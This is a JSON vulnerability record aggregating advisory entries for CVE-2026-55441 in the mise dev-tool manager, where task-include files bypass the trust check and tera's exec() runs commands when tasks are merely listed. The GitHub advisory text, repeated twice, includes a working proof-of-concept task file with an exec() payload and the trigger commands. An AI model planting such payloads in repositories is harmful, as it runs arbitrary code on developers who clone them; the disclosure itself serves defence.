{"id":"CVE-2026-55441","aliases":["EUVD-2026-39815","GHSA-77g9-363w-rccq"],"status":"published","title":"mise: Arbitrary command execution via task-include files in an untrusted, config-less repository","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.4, mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task. This vulnerability is fixed in 2026.6.4.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00184,"percentile":0.08013,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-732","CWE-78","CWE-94"],"published":"2026-06-23T18:24:08Z","modified":"2026-10-28T02:31:13Z","fixes":[{"ecosystem":"crates.io","package":"mise","fixed_in":["2026.6.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"mise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2026.6.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"mise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2026.6.4"}]}]}],"products":[{"vendor":"jdx","product":"mise"}],"references":[{"url":"https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/advisories/GHSA-77g9-363w-rccq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55441.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55441","tags":["advisory"]},{"url":"https://github.com/jdx/mise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55441","title":"mise: Arbitrary command execution via task-include files in an untrusted, config-less repository","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.4, mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:48:23.194Z","modified":"2026-06-26T18:41:26.486Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78","CWE-94","CWE-732"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-39815","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.4, mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:48:23Z","modified":"2026-06-26T18:41:26Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:24.118614Z"}],"ghsa":[{"id":"GHSA-77g9-363w-rccq","title":"Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository","description":"### Summary\n\nmise's trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has `exec()` registered. A `{{ exec(command='…') }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` — `MiseToml::from_str` → `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` — `.tool-versions` parser → `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` — env templates → `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds — with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n    .iter()\n    .find_map(|cf| match cf.task_config_includes() { … })\n    .transpose()?\n    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n…\nfor include in \u0026includes {\n    let paths = … expand_task_include(\u0026resolve_dir, include);\n    for p in paths {\n        let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n        …\n    }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) … ;        // no trust_check\n…\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { … }  // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n…\nif contains_template_syntax(\u0026self.description) {\n    self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\nSo a tera `{{ exec(command='…') }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, …) of a TOML\ntask file — or in a `#MISE description=\"…\"` header of an executable script task\n(`Task::from_path`) — executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n└── mise-tasks/\n    └── ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command='id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt') }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\"          # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks            # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)…\nlinux \n```","status":"published","published":"2026-06-23T18:24:08Z","modified":"2026-06-23T18:24:09Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78","CWE-94","CWE-732"],"updated_at":"2026-11-02T14:40:32.744157Z"}],"nvd":[{"id":"CVE-2026-55441","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.4, mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T18:17:01.19Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78","CWE-94","CWE-732"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-55441","title":"mise: Arbitrary command execution via task-include files in an untrusted, config-less repository","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.4, mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:48:23.194Z","modified":"2026-10-28T02:31:13.487469107Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-732","CWE-78","CWE-94"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-77g9-363w-rccq","title":"Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository","description":"### Summary\n\nmise's trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has `exec()` registered. A `{{ exec(command='…') }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` — `MiseToml::from_str` → `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` — `.tool-versions` parser → `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` — env templates → `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds — with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n    .iter()\n    .find_map(|cf| match cf.task_config_includes() { … })\n    .transpose()?\n    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n…\nfor include in \u0026includes {\n    let paths = … expand_task_include(\u0026resolve_dir, include);\n    for p in paths {\n        let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n        …\n    }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) … ;        // no trust_check\n…\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { … }  // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n…\nif contains_template_syntax(\u0026self.description) {\n    self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\nSo a tera `{{ exec(command='…') }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, …) of a TOML\ntask file — or in a `#MISE description=\"…\"` header of an executable script task\n(`Task::from_path`) — executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n└── mise-tasks/\n    └── ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command='id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt') }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\"          # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks            # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)…\nlinux \n```","status":"published","published":"2026-06-23T18:24:08Z","modified":"2026-06-23T18:41:30.808196Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-732","CWE-78","CWE-94"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}
